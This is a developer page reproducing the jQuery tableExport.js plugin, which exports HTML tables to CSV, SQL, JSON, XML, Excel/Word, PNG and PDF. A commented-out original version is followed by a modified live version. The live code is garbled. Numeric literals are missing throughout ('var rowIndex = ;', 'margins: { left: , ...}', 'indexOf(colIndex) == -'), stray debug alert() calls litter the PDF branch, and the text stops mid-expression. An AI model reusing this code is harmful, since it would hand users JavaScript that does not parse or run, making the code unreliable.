js导出到word、json、excel、csv
tableExport.js
///*The MIT License (MIT) //Copyright (c) 2014 https://github.com/kayalshri/ //Permission is hereby granted, free of charge, to any person obtaining a copy
//of this software and associated documentation files (the "Software"), to deal
//in the Software without restriction, including without limitation the rights
//to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
//copies of the Software, and to permit persons to whom the Software is
//furnished to do so, subject to the following conditions: //The above copyright notice and this permission notice shall be included in
//all copies or substantial portions of the Software. //THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
//IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
//FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
//AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
//LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
//OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
//THE SOFTWARE.*/ //(function($){
// $.fn.extend({
// tableExport: function(options) {
// var defaults = {
// separator: ',',
// ignoreColumn: [],
// tableName:'yourTableName',
// type:'csv',
// pdfFontSize:14,
// pdfLeftMargin:20,
// escape:'true',
// htmlContent:'false',
// consoleLog:'false'
// }; // var options = $.extend(defaults, options);
// var el = this; // if(defaults.type == 'csv' || defaults.type == 'txt'){ // // Header
// var tdData ="";
// $(el).find('thead').find('tr').each(function() {
// tdData += "\n";
// $(this).filter(':visible').find('th').each(function(index,data) {
// if ($(this).css('display') != 'none'){
// if(defaults.ignoreColumn.indexOf(index) == -1){
// tdData += '"' + parseString($(this)) + '"' + defaults.separator;
// }
// } // });
// tdData = $.trim(tdData);
// tdData = $.trim(tdData).substring(0, tdData.length -1);
// }); // // Row vs Column
// $(el).find('tbody').find('tr').each(function() {
// tdData += "\n";
// $(this).filter(':visible').find('td').each(function(index,data) {
// if ($(this).css('display') != 'none'){
// if(defaults.ignoreColumn.indexOf(index) == -1){
// tdData += '"'+ parseString($(this)) + '"'+ defaults.separator;
// }
// }
// });
// //tdData = $.trim(tdData);
// tdData = $.trim(tdData).substring(0, tdData.length -1);
// }); // //output
// if(defaults.consoleLog == 'true'){
// console.log(tdData);
// }
// var base64data = "base64," + $.base64.encode(tdData);
// window.open('data:application/'+defaults.type+';filename=exportData;' + base64data);
// }else if(defaults.type == 'sql'){ // // Header
// var tdData ="INSERT INTO `"+defaults.tableName+"` (";
// $(el).find('thead').find('tr').each(function() { // $(this).filter(':visible').find('th').each(function(index,data) {
// if ($(this).css('display') != 'none'){
// if(defaults.ignoreColumn.indexOf(index) == -1){
// tdData += '`' + parseString($(this)) + '`,' ;
// }
// } // });
// tdData = $.trim(tdData);
// tdData = $.trim(tdData).substring(0, tdData.length -1);
// });
// tdData += ") VALUES ";
// // Row vs Column
// $(el).find('tbody').find('tr').each(function() {
// tdData += "(";
// $(this).filter(':visible').find('td').each(function(index,data) {
// if ($(this).css('display') != 'none'){
// if(defaults.ignoreColumn.indexOf(index) == -1){
// tdData += '"'+ parseString($(this)) + '",';
// }
// }
// }); // tdData = $.trim(tdData).substring(0, tdData.length -1);
// tdData += "),";
// });
// tdData = $.trim(tdData).substring(0, tdData.length -1);
// tdData += ";"; // //output
// //console.log(tdData); // if(defaults.consoleLog == 'true'){
// console.log(tdData);
// } // var base64data = "base64," + $.base64.encode(tdData);
// window.open('data:application/sql;filename=exportData;' + base64data); // }else if(defaults.type == 'json'){ // var jsonHeaderArray = [];
// $(el).find('thead').find('tr').each(function() {
// var tdData ="";
// var jsonArrayTd = []; // $(this).filter(':visible').find('th').each(function(index,data) {
// if ($(this).css('display') != 'none'){
// if(defaults.ignoreColumn.indexOf(index) == -1){
// jsonArrayTd.push(parseString($(this)));
// }
// }
// });
// jsonHeaderArray.push(jsonArrayTd); // }); // var jsonArray = [];
// $(el).find('tbody').find('tr').each(function() {
// var tdData ="";
// var jsonArrayTd = []; // $(this).filter(':visible').find('td').each(function(index,data) {
// if ($(this).css('display') != 'none'){
// if(defaults.ignoreColumn.indexOf(index) == -1){
// jsonArrayTd.push(parseString($(this)));
// }
// }
// });
// jsonArray.push(jsonArrayTd); // }); // var jsonExportArray =[];
// jsonExportArray.push({header:jsonHeaderArray,data:jsonArray}); // //Return as JSON
// //console.log(JSON.stringify(jsonExportArray)); // //Return as Array
// //console.log(jsonExportArray);
// if(defaults.consoleLog == 'true'){
// console.log(JSON.stringify(jsonExportArray));
// }
// var base64data = "base64," + $.base64.encode(JSON.stringify(jsonExportArray));
// window.open('data:application/json;filename=exportData;' + base64data);
// }else if(defaults.type == 'xml'){ // var xml = '<?xml version="1.0" encoding="utf-8"?>';
// xml += '<tabledata><fields>'; // // Header
// $(el).find('thead').find('tr').each(function() {
// $(this).filter(':visible').find('th').each(function(index,data) {
// if ($(this).css('display') != 'none'){
// if(defaults.ignoreColumn.indexOf(index) == -1){
// xml += "<field>" + parseString($(this)) + "</field>";
// }
// }
// });
// });
// xml += '</fields><data>'; // // Row Vs Column
// var rowCount=1;
// $(el).find('tbody').find('tr').each(function() {
// xml += '<row id="'+rowCount+'">';
// var colCount=0;
// $(this).filter(':visible').find('td').each(function(index,data) {
// if ($(this).css('display') != 'none'){
// if(defaults.ignoreColumn.indexOf(index) == -1){
// xml += "<column-"+colCount+">"+parseString($(this))+"</column-"+colCount+">";
// }
// }
// colCount++;
// });
// rowCount++;
// xml += '</row>';
// });
// xml += '</data></tabledata>' // if(defaults.consoleLog == 'true'){
// console.log(xml);
// } // var base64data = "base64," + $.base64.encode(xml);
// window.open('data:application/xml;filename=exportData;' + base64data); // }else if(defaults.type == 'excel' || defaults.type == 'doc'|| defaults.type == 'powerpoint' ){
// //console.log($(this).html());
// var excel="<table>";
// // Header
// $(el).find('thead').find('tr').each(function() {
// excel += "<tr>";
// $(this).filter(':visible').find('th').each(function(index,data) {
// if ($(this).css('display') != 'none'){
// if(defaults.ignoreColumn.indexOf(index) == -1){
// excel += "<td>" + parseString($(this))+ "</td>";
// }
// }
// });
// excel += '</tr>'; // }); // // Row Vs Column
// var rowCount=1;
// $(el).find('tbody').find('tr').each(function() {
// excel += "<tr>";
// var colCount=0;
// $(this).filter(':visible').find('td').each(function(index,data) {
// if ($(this).css('display') != 'none'){
// if(defaults.ignoreColumn.indexOf(index) == -1){
// excel += "<td>"+parseString($(this))+"</td>";
// }
// }
// colCount++;
// });
// rowCount++;
// excel += '</tr>';
// });
// excel += '</table>' // if(defaults.consoleLog == 'true'){
// console.log(excel);
// } // var excelFile = "<html xmlns:o='urn:schemas-microsoft-com:office:office' xmlns:x='urn:schemas-microsoft-com:office:"+defaults.type+"' xmlns='http://www.w3.org/TR/REC-html40'>";
// excelFile += "<head>";
// excelFile += "<!--[if gte mso 9]>";
// excelFile += "<xml>";
// excelFile += "<x:ExcelWorkbook>";
// excelFile += "<x:ExcelWorksheets>";
// excelFile += "<x:ExcelWorksheet>";
// excelFile += "<x:Name>";
// excelFile += "{worksheet}";
// excelFile += "</x:Name>";
// excelFile += "<x:WorksheetOptions>";
// excelFile += "<x:DisplayGridlines/>";
// excelFile += "</x:WorksheetOptions>";
// excelFile += "</x:ExcelWorksheet>";
// excelFile += "</x:ExcelWorksheets>";
// excelFile += "</x:ExcelWorkbook>";
// excelFile += "</xml>";
// excelFile += "<![endif]-->";
// excelFile += "</head>";
// excelFile += "<body>";
// excelFile += excel;
// excelFile += "</body>";
// excelFile += "</html>"; // var base64data = "base64," + $.base64.encode(excelFile);
// window.open('data:application/vnd.ms-'+defaults.type+';filename=exportData.doc;' + base64data); // }else if(defaults.type == 'png'){
// html2canvas($(el), {
// onrendered: function(canvas) {
// var img = canvas.toDataURL("image/png");
// window.open(img); // }
// });
// }else if(defaults.type == 'pdf'){ // var doc = new jsPDF('p','pt', 'a4', true);
// doc.setFontSize(defaults.pdfFontSize); // // Header
// var startColPosition=defaults.pdfLeftMargin;
// $(el).find('thead').find('tr').each(function() {
// $(this).filter(':visible').find('th').each(function(index,data) {
// if ($(this).css('display') != 'none'){
// if(defaults.ignoreColumn.indexOf(index) == -1){
// var colPosition = startColPosition+ (index * 50);
// doc.text(colPosition,20, parseString($(this)));
// }
// }
// });
// }); // // Row Vs Column
// var startRowPosition = 20; var page =1;var rowPosition=0;
// $(el).find('tbody').find('tr').each(function(index,data) {
// rowCalc = index+1; // if (rowCalc % 26 == 0){
// doc.addPage();
// page++;
// startRowPosition=startRowPosition+10;
// }
// rowPosition=(startRowPosition + (rowCalc * 10)) - ((page -1) * 280); // $(this).filter(':visible').find('td').each(function(index,data) {
// if ($(this).css('display') != 'none'){
// if(defaults.ignoreColumn.indexOf(index) == -1){
// var colPosition = startColPosition+ (index * 50);
// doc.text(colPosition,rowPosition, parseString($(this)));
// }
// } // }); // }); // // Output as Data URI
// doc.output('datauri'); // } // function parseString(data){ // if(defaults.htmlContent == 'true'){
// content_data = data.html().trim();
// }else{
// content_data = data.text().trim();
// } // if(defaults.escape == 'true'){
// content_data = escape(content_data);
// } // return content_data;
// } // }
// });
// })(jQuery); //------------------新的
/*The MIT License (MIT) Original work Copyright (c) 2014 https://github.com/kayalshri/
Modified work Copyright (c) 2015 https://github.com/hhurz/ Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.*/
////js导出表格到word、json、excel、csv
//function Register() {
// //$("#txt").on("click", function () {
// // ViewSate();
// // $("#exp").val("yes");
// // $('#table1').tableExport({ type: "txt", escape: 'false' });
// //});
// $("#xml").unbind("click");
// $("#xml").on("click", function () {
// ViewSate();
// $("#exp").val("yes");
// $('#table1').tableExport({ type: "xml", escape: 'false' });
// });
// $("#json").unbind("click");
// $("#json").on("click", function () {
// ViewSate();
// $("#exp").val("yes");
// $('#table1').tableExport({ type: "json", escape: 'false' });
// });
// $("#doc").unbind("click");
// $("#doc").on("click", function () {
// ViewSate();
// $("#exp").val("yes");
// $('#table1').tableExport({ type: "doc", escape: 'false' });
// });
// $("#excel").unbind("click");
// $("#excel").on("click", function () { // ViewSate();
// $("#exp").val("yes");
// $("#table1").table2excel({
// exclude: ".noExl",
// name: "Excel Document Name",
// filename: "myFileName" + Math.random(),
// fileext: ".xls",
// exclude_img: true,
// exclude_links: true,
// exclude_inputs: true
// });
// //$('#table1').tableExport({ type: "excel", escape: 'false' });
// });
// $("#csv").unbind("click");
// $("#csv").on("click", function () {
// ViewSate();
// $("#exp").val("yes");
// $('#table1').tableExport({ type: "csv", escape: 'false' });
// });
//}
(function ($) {
$.fn.extend({
tableExport: function (options) {
var defaults = {
consoleLog: false,
csvEnclosure: '"',
csvSeparator: ',',
csvUseBOM: true,
displayTableName: false,
escape: false,
excelstyles: ['border-bottom', 'border-top', 'border-left', 'border-right'],
fileName: 'dailyData',
htmlContent: false,
ignoreColumn: [],
ignoreRow: [],
jspdf: {
orientation: 'p',
unit: 'pt',
format: 'a4',
margins: { left: , right: , top: , bottom: },
autotable: {
padding: ,
lineHeight: ,
fontSize: ,
tableExport: {
onAfterAutotable: null,
onBeforeAutotable: null,
onTable: null
}
}
},
numbers: {
html: {
decimalMark: '.',
thousandsSeparator: ','
},
output: {
decimalMark: '.',
thousandsSeparator: ','
}
},
onCellData: null,
outputMode: 'file', // file|string|base64
tbodySelector: 'tr',
theadSelector: 'tr',
tableName: 'myTableName',
type: 'csv',
worksheetName: 'dataStatistic'
}; var el = this;
var DownloadEvt = null;
var rowIndex = ;
var rowspans = [];
var trData = ''; $.extend(true, defaults, options); if (defaults.type == 'csv' || defaults.type == 'txt') { // Header
var csvData = "";
rowIndex = ;
$(el).find('thead').first().find(defaults.theadSelector).each(function () {
trData = "";
ForEachVisibleCell(this, 'th,td', rowIndex,
function (cell, row, col) {
trData += csvString(cell, row, col) + defaults.csvSeparator;
});
trData = $.trim(trData).substring(, trData.length - );
if (trData.length > ) { if (csvData.length > )
csvData += "\n"; csvData += trData;
}
rowIndex++;
}); // Row vs Column
$(el).find('tbody').first().find(defaults.tbodySelector).each(function () {
trData = "";
ForEachVisibleCell(this, 'td', rowIndex,
function (cell, row, col) {
trData += csvString(cell, row, col) + defaults.csvSeparator;
});
trData = $.trim(trData).substring(, trData.length - );
if (trData.length > ) { if (csvData.length > )
csvData += "\n"; csvData += trData;
}
rowIndex++;
}); csvData += "\n"; //output
if (defaults.consoleLog === true)
console.log(csvData); if (defaults.outputMode === 'string')
return csvData; if (defaults.outputMode === 'base64')
return base64encode(csvData); try {
var blob = new Blob([((defaults.type == 'csv' && defaults.csvUseBOM) ? '\ufeff' : '') + csvData], { type: "text/" + (defaults.type == 'csv' ? 'csv' : 'plain') + ";charset=utf-8" });
saveAs(blob, defaults.fileName + '.' + defaults.type);
}
catch (e) {
downloadFile(defaults.fileName + '.' + defaults.type,
'data:text/' + (defaults.type == 'csv' ? 'csv' : 'plain') + ';charset=utf-8,' + ((defaults.type == 'csv' && defaults.csvUseBOM) ? '\ufeff' : '') +
encodeURIComponent(csvData));
} } else if (defaults.type == 'sql') { // Header
rowIndex = ;
var tdData = "INSERT INTO `" + defaults.tableName + "` (";
$(el).find('thead').first().find(defaults.theadSelector).each(function () { ForEachVisibleCell(this, 'th,td', rowIndex,
function (cell, row, col) {
tdData += "'" + parseString(cell, row, col) + "',";
});
rowIndex++;
tdData = $.trim(tdData);
tdData = $.trim(tdData).substring(, tdData.length - );
});
tdData += ") VALUES ";
// Row vs Column
$(el).find('tbody').first().find(defaults.tbodySelector).each(function () {
trData = "";
ForEachVisibleCell(this, 'td', rowIndex,
function (cell, row, col) {
trData += "'" + parseString(cell, row, col) + "',";
});
if (trData.length > ) {
tdData += "(" + trData;
tdData = $.trim(tdData).substring(, tdData.length - );
tdData += "),";
}
rowIndex++;
}); tdData = $.trim(tdData).substring(, tdData.length - );
tdData += ";"; //output
if (defaults.consoleLog === true)
console.log(tdData); if (defaults.outputMode == 'string')
return tdData; if (defaults.outputMode == 'base64')
return base64encode(tdData); try {
var blob = new Blob([tdData], { type: "text/plain;charset=utf-8" });
saveAs(blob, defaults.fileName + '.sql');
}
catch (e) {
downloadFile(defaults.fileName + '.sql', 'data:application/sql;charset=utf-8,' + encodeURIComponent(tdData));
} } else if (defaults.type == 'json') { var jsonHeaderArray = [];
$(el).find('thead').first().find(defaults.theadSelector).each(function () {
var jsonArrayTd = []; ForEachVisibleCell(this, 'th,td', rowIndex,
function (cell, row, col) {
jsonArrayTd.push(parseString(cell, row, col));
});
jsonHeaderArray.push(jsonArrayTd);
}); var jsonArray = [];
$(el).find('tbody').first().find(defaults.tbodySelector).each(function () {
var jsonArrayTd = []; ForEachVisibleCell(this, 'td', rowIndex,
function (cell, row, col) {
jsonArrayTd.push(parseString(cell, row, col));
}); if (jsonArrayTd.length > && (jsonArrayTd.length != || jsonArrayTd[] != ""))
jsonArray.push(jsonArrayTd); rowIndex++;
}); var jsonExportArray = [];
jsonExportArray.push({ header: jsonHeaderArray, data: jsonArray }); var sdata = JSON.stringify(jsonExportArray); if (defaults.consoleLog === true)
console.log(sdata); if (defaults.outputMode == 'string')
return sdata; var base64data = base64encode(sdata); if (defaults.outputMode == 'base64')
return base64data; try {
var blob = new Blob([sdata], { type: "application/json;charset=utf-8" });
saveAs(blob, defaults.fileName + '.json');
}
catch (e) {
downloadFile(defaults.fileName + '.json', 'data:application/json;charset=utf-8;base64,' + base64data);
} } else if (defaults.type === 'xml') { rowIndex = ;
var xml = '<?xml version="1.0" encoding="utf-8"?>';
xml += '<tabledata><fields>'; // Header
$(el).find('thead').first().find(defaults.theadSelector).each(function () { ForEachVisibleCell(this, 'th,td', rowIndex,
function (cell, row, col) {
xml += "<field>" + parseString(cell, row, col) + "</field>";
});
rowIndex++;
});
xml += '</fields><data>'; // Row Vs Column
var rowCount = ;
$(el).find('tbody').first().find(defaults.tbodySelector).each(function () {
var colCount = ;
trData = "";
ForEachVisibleCell(this, 'td', rowIndex,
function (cell, row, col) {
trData += "<column-" + colCount + ">" + parseString(cell, row, col) + "</column-" + colCount + ">";
colCount++;
});
if (trData.length > && trData != "<column-1></column-1>") {
xml += '<row id="' + rowCount + '">' + trData + '</row>';
rowCount++;
} rowIndex++;
});
xml += '</data></tabledata>'; //output
if (defaults.consoleLog === true)
console.log(xml); if (defaults.outputMode == 'string')
return xml; var base64data = base64encode(xml); if (defaults.outputMode == 'base64')
return base64data; try {
var blob = new Blob([xml], { type: "application/xml;charset=utf-8" });
saveAs(blob, defaults.fileName + '.xml');
}
catch (e) {
downloadFile(defaults.fileName + '.xml', 'data:application/xml;charset=utf-8;base64,' + base64data);
} } else if (defaults.type == 'excel' || defaults.type == 'doc') {
//console.log($(this).html()); rowIndex = ;
var excelData = "<table>";
// Header
$(el).find('thead').first().find(defaults.theadSelector).each(function () {
trData = "";
ForEachVisibleCell(this, 'th,td', rowIndex,
function (cell, row, col) {
if (cell != null) {
trData += "<td style='";
for (var styles in defaults.excelstyles) {
if (defaults.excelstyles.hasOwnProperty(styles)) {
trData += defaults.excelstyles[styles] + ": " + $(cell).css(defaults.excelstyles[styles]) + ";";
}
}
trData += "'>" + parseString(cell, row, col) + "</td>";
}
});
if (trData.length > )
excelData += "<tr>" + trData + '</tr>';
rowIndex++;
}); // Row Vs Column
$(el).find('tbody').find('tr').each(function () {
trData = "";
ForEachVisibleCell(this, 'td', rowIndex,
function (cell, row, col) {
if (cell != null) {
trData += "<td style='";
for (var styles in defaults.excelstyles) {
if (defaults.excelstyles.hasOwnProperty(styles)) {
trData += defaults.excelstyles[styles] + ": " + $(cell).css(defaults.excelstyles[styles]) + ";";
}
}
if ($(cell).is("[colspan]"))
trData += "' colspan='" + $(cell).attr('colspan');
if ($(cell).is("[rowspan]"))
trData += "' rowspan='" + $(cell).attr('rowspan');
trData += "'>" + parseString(cell, row, col) + "</td>";
}
});
if (trData.length > )
excelData += "<tr>" + trData + '</tr>';
rowIndex++;
}); if (defaults.displayTableName)
excelData += "<tr><td></td></tr><tr><td></td></tr><tr><td>" + parseString($('<p>' + defaults.tableName + '</p>')) + "</td></tr>"; excelData += '</table>'; if (defaults.consoleLog === true)
console.log(excelData); var excelFile = "<html xmlns:o='urn:schemas-microsoft-com:office:office' xmlns:x='urn:schemas-microsoft-com:office:" + defaults.type + "' xmlns='http://www.w3.org/TR/REC-html40'>";
excelFile += '<meta http-equiv="content-type" content="application/vnd.ms-' + defaults.type + '; charset=UTF-8">';
excelFile += '<meta http-equiv="content-type" content="application/';
excelFile += (defaults.type === 'excel') ? 'vnd.ms-excel' : 'msword';
excelFile += '; charset=UTF-8">';
excelFile += "<head>";
if (defaults.type === 'excel') {
excelFile += "<!--[if gte mso 9]>";
excelFile += "<xml>";
excelFile += "<x:ExcelWorkbook>";
excelFile += "<x:ExcelWorksheets>";
excelFile += "<x:ExcelWorksheet>";
excelFile += "<x:Name>";
excelFile += defaults.worksheetName;
excelFile += "</x:Name>";
excelFile += "<x:WorksheetOptions>";
excelFile += "<x:DisplayGridlines/>";
excelFile += "</x:WorksheetOptions>";
excelFile += "</x:ExcelWorksheet>";
excelFile += "</x:ExcelWorksheets>";
excelFile += "</x:ExcelWorkbook>";
excelFile += "</xml>";
excelFile += "<![endif]-->";
}
excelFile += "</head>";
excelFile += "<body>";
excelFile += excelData;
excelFile += "</body>";
excelFile += "</html>"; if (defaults.outputMode == 'string')
return excelFile; var base64data = base64encode(excelFile); if (defaults.outputMode === 'base64')
return base64data; var extension = (defaults.type === 'excel') ? 'xls' : 'doc';
try {
var blob = new Blob([excelFile], { type: 'application/vnd.ms-' + defaults.type });
saveAs(blob, defaults.fileName + '.' + extension);
}
catch (e) {
downloadFile(defaults.fileName + '.' + extension, 'data:application/vnd.ms-' + defaults.type + ';base64,' + base64data);
} } else if (defaults.type == 'png') {
/*html2canvas($(el), {
onrendered: function (canvas) { var image = canvas.toDataURL();
image = image.substring(22); // remove data stuff var byteString = atob(image);
var buffer = new ArrayBuffer(byteString.length);
var intArray = new Uint8Array(buffer); for (var i = 0; i < byteString.length; i++)
intArray[i] = byteString.charCodeAt(i); try {
var blob = new Blob([buffer], { type: "image/png" });
saveAs(blob, defaults.fileName + '.png');
}
catch (e) {
downloadFile(defaults.fileName + '.png', 'data:image/png;base64,' + image);
}
}
});*/
html2canvas($(el), {
onrendered: function (canvas) {
var img = canvas.toDataURL("image/png");
window.open(img); }
}); } else if (defaults.type == 'pdf') {
alert()
if (defaults.jspdf.autotable === false) {
alert()
var addHtmlOptions = {
dim: {
w: getPropertyUnitValue($(el).first().get(), 'width', 'mm'),
h: getPropertyUnitValue($(el).first().get(), 'height', 'mm')
},
pagesplit: false
}; var doc = new jsPDF(defaults.jspdf.orientation, defaults.jspdf.unit, defaults.jspdf.format);
doc.addHTML($(el).first(),
defaults.jspdf.margins.left,
defaults.jspdf.margins.top,
addHtmlOptions,
function () {
jsPdfOutput(doc);
});
//delete doc;
}
else {
alert() var teOptions = defaults.jspdf.autotable.tableExport;
if (typeof defaults.jspdf.format === 'string' && defaults.jspdf.format.toLowerCase() === 'bestfit') {
var pageFormats = {
'a0': [2383.94, 3370.39], 'a1': [1683.78, 2383.94],
'a2': [1190.55, 1683.78], 'a3': [841.89, 1190.55],
'a4': [595.28, 841.89]
};
var rk = '', ro = '';
var mw = ;
alert()
$(el).filter(':visible').each(function () {
if ($(this).css('display') != 'none') {
alert()
var w = getPropertyUnitValue($(this).get(), 'width', 'pt'); if (w > mw) {
if (w > pageFormats['a0'][]) {
rk = 'a0';
ro = 'l';
}
for (var key in pageFormats) {
if (pageFormats.hasOwnProperty(key)) {
if (pageFormats[key][] > w) {
rk = key;
ro = 'l';
if (pageFormats[key][] > w)
ro = 'p';
}
}
}
mw = w;
}
}
});
defaults.jspdf.format = (rk == '' ? 'a4' : rk);
defaults.jspdf.orientation = (ro == '' ? 'w' : ro);
}
alert()
// The jsPDF doc object is stored in defaults.jspdf.autotable.tableExport,
// thus it can be accessed from any callback function from below
teOptions.doc = new jsPDF(defaults.jspdf.orientation,
defaults.jspdf.unit,
defaults.jspdf.format);
// $(el).find('thead').first()
$(el).filter(':visible').each(function () {
if ($(this).css('display') != 'none') {
var colKey;
var rowIndex = ;
var atOptions = {};
teOptions.columns = [];
teOptions.rows = [];
teOptions.rowoptions = {}; // onTable: optional callback function for every matching table that can be used
// to modify the tableExport options or to skip the output of a particular table
// when the table selector targets multiple tables
if (typeof teOptions.onTable === 'function')
if (teOptions.onTable($(this), defaults) === false)
return true; // continue to next iteration step (table) // each table works with an own copy of AutoTable options
Object.keys(defaults.jspdf.autotable).forEach(function (key) {
atOptions[key] = defaults.jspdf.autotable[key];
});
atOptions.margins = {};
$.extend(true, atOptions.margins, defaults.jspdf.margins); if (typeof atOptions.renderCell !== 'function') { // draw cell text with original <td> alignment
atOptions.renderCell = function (x, y, width, height, key, value, row, settings) {
var doc = settings.tableExport.doc;
var xoffset = ; doc.setFillColor(row % === ? : );
doc.setTextColor();
doc.rect(x, y, width, height, 'F');
y += settings.lineHeight / + doc.autoTableTextHeight() / - 2.5; if (typeof settings.tableExport.columns[key] != 'undefined') {
var col = settings.tableExport.columns[key];
if (typeof col.style != 'undefined') {
var alignment = col.style.align;
var rowopt = settings.tableExport.rowoptions[(row + ) + ":" + key]; if (typeof rowopt != 'undefined')
alignment = rowopt.style.align; if (alignment == 'right')
xoffset = width - doc.getStringUnitWidth(('' + value)) * doc.internal.getFontSize() - settings.padding;
else if (alignment == 'center')
xoffset = (width - doc.getStringUnitWidth(('' + value)) * doc.internal.getFontSize()) / ;
}
} if (xoffset < settings.padding)
xoffset = settings.padding; doc.text(value, x + xoffset, y);
}
} // collect header and data rows
//$(this).find('thead')
$(el).find('thead').first().find(defaults.theadSelector).each(function () {
alert("a")
colKey = ; ForEachVisibleCell(this, 'th,td', rowIndex,
function (cell, row, col) {
var obj = {
title: parseString(cell, row, col),
key: colKey++,
style: {
align: getStyle(cell, 'text-align'),
bcolor: getStyle(cell, 'background-color')
}
};
teOptions.columns.push(obj);
});
rowIndex++;
}); $(this).find('tbody').find(defaults.tbodySelector).each(function () {
//alert("b")
var rowData = [];
var rowCount = ;
colKey = ; ForEachVisibleCell(this, 'th,td', rowIndex,
function (cell, row, col) {
var obj = {
style: {
align: getStyle(cell, 'text-align'),
bcolor: getStyle(cell, 'background-color')
}
};
teOptions.rowoptions[rowCount + ":" + colKey++] = obj; rowData.push(parseString(cell, row, col));
});
if (rowData.length) {
teOptions.rows.push(rowData);
rowCount++
}
rowIndex++;
});
alert("b1")
// onBeforeAutotable: optional callback function before calling
// jsPDF AutoTable that can be used to modify the AutoTable options
if (typeof teOptions.onBeforeAutotable === 'function')
teOptions.onBeforeAutotable($(this), teOptions.columns, teOptions.rows, atOptions); teOptions.doc.autoTable(teOptions.columns, teOptions.rows, atOptions); // onAfterAutotable: optional callback function after returning
// from jsPDF AutoTable that can be used to modify the AutoTable options
if (typeof teOptions.onAfterAutotable === 'function')
teOptions.onAfterAutotable($(this), atOptions); // set the start position for the next table (in case there is one)
defaults.jspdf.autotable.startY = teOptions.doc.autoTableEndPosY() + atOptions.margins.top;
}
});
alert("c")
jsPdfOutput(teOptions.doc); teOptions.columns.length = ;
teOptions.rows.length = ;
delete teOptions.doc;
teOptions.doc = null;
}
} function ForEachVisibleCell(tableRow, selector, rowIndex, cellcallback) {
if (defaults.ignoreRow.indexOf(rowIndex) == -) {
$(tableRow).filter(':visible').find(selector).each(function (colIndex) {
if ($(this).data("tableexport-display") == 'always' ||
($(this).css('display') != 'none' &&
$(this).css('visibility') != 'hidden' &&
$(this).data("tableexport-display") != 'none')) {
if (defaults.ignoreColumn.indexOf(colIndex) == -) {
if (typeof (cellcallback) === "function") {
var cs = ; // colspan value // handle previously detected rowspans
if (typeof rowspans[rowIndex] != 'undefined' && rowspans[rowIndex].length > ) {
for (c = ; c <= colIndex; c++) {
if (typeof rowspans[rowIndex][c] != 'undefined') {
cellcallback(null, rowIndex, c);
delete rowspans[rowIndex][c];
colIndex++;
}
}
} // output content of current cell
cellcallback(this, rowIndex, colIndex); // handle colspan of current cell
if ($(this).is("[colspan]")) {
cs = $(this).attr('colspan');
for (c = ; c < cs - ; c++)
cellcallback(null, rowIndex, colIndex + c);
} // store rowspan for following rows
if ($(this).is("[rowspan]")) {
var rs = parseInt($(this).attr('rowspan')); for (r = ; r < rs; r++) {
if (typeof rowspans[rowIndex + r] == 'undefined')
rowspans[rowIndex + r] = [];
rowspans[rowIndex + r][colIndex] = ""; for (c = ; c < cs; c++)
rowspans[rowIndex + r][colIndex + c] = "";
}
}
}
}
}
});
}
} function jsPdfOutput(doc) {
if (defaults.consoleLog === true)
console.log(doc.output()); if (defaults.outputMode == 'string')
return doc.output(); if (defaults.outputMode == 'base64') {
alert();
return $.base64.encode64(doc.output());
// return base64encode(doc.output());
}
try {
var blob = doc.output('blob');
saveAs(blob, defaults.fileName + '.pdf');
}
catch (e) {
downloadFile(defaults.fileName + '.pdf', 'data:application/pdf;base64,' + base64encode(doc.output()));
}
} function escapeRegExp(string) {
return string.replace(/([.*+?^=!:${}()|\[\]\/\\])/g, "\\$1");
} function replaceAll(string, find, replace) {
return string.replace(new RegExp(escapeRegExp(find), 'g'), replace);
} function csvString(cell, rowIndex, colIndex) {
var result = ''; if (cell != null) {
var dataString = parseString(cell, rowIndex, colIndex); var csvValue = (dataString === null || dataString == '') ? '' : dataString.toString(); if (dataString instanceof Date)
result = defaults.csvEnclosure + dataString.toLocaleString() + defaults.csvEnclosure;
else {
result = replaceAll(csvValue, defaults.csvEnclosure, defaults.csvEnclosure + defaults.csvEnclosure); if (result.indexOf(defaults.csvSeparator) >= || /[\r\n ]/g.test(result))
result = defaults.csvEnclosure + result + defaults.csvEnclosure;
}
} return result;
} function parseNumber(value) {
value = value || "";
value = replaceAll(value, defaults.numbers.html.decimalMark, '.');
value = replaceAll(value, defaults.numbers.html.thousandsSeparator, ''); return typeof value === "number" || jQuery.isNumeric(value) !== false ? value : false;
} function parseString(cell, rowIndex, colIndex) {
var result = ''; if (cell != null) {
var $cell = $(cell); if (defaults.htmlContent === true) {
result = $cell.html().trim();
}
else {
result = $cell.text().trim().replace(/\u00AD/g, ""); // remove soft hyphens if (defaults.numbers.html.decimalMark != defaults.numbers.output.decimalMark ||
defaults.numbers.html.thousandsSeparator != defaults.numbers.output.thousandsSeparator) {
var number = parseNumber(result); if (number !== false) {
var frac = ("" + number).split('.');
if (frac.length == )
frac[] = "";
var mod = frac[].length > ? frac[].length % : ; result = (number < ? "-" : "") +
(defaults.numbers.output.thousandsSeparator ? ((mod ? frac[].substr(, mod) + defaults.numbers.output.thousandsSeparator : "") + frac[].substr(mod).replace(/(\d{})(?=\d)/g, "$1" + defaults.numbers.output.thousandsSeparator)) : frac[]) +
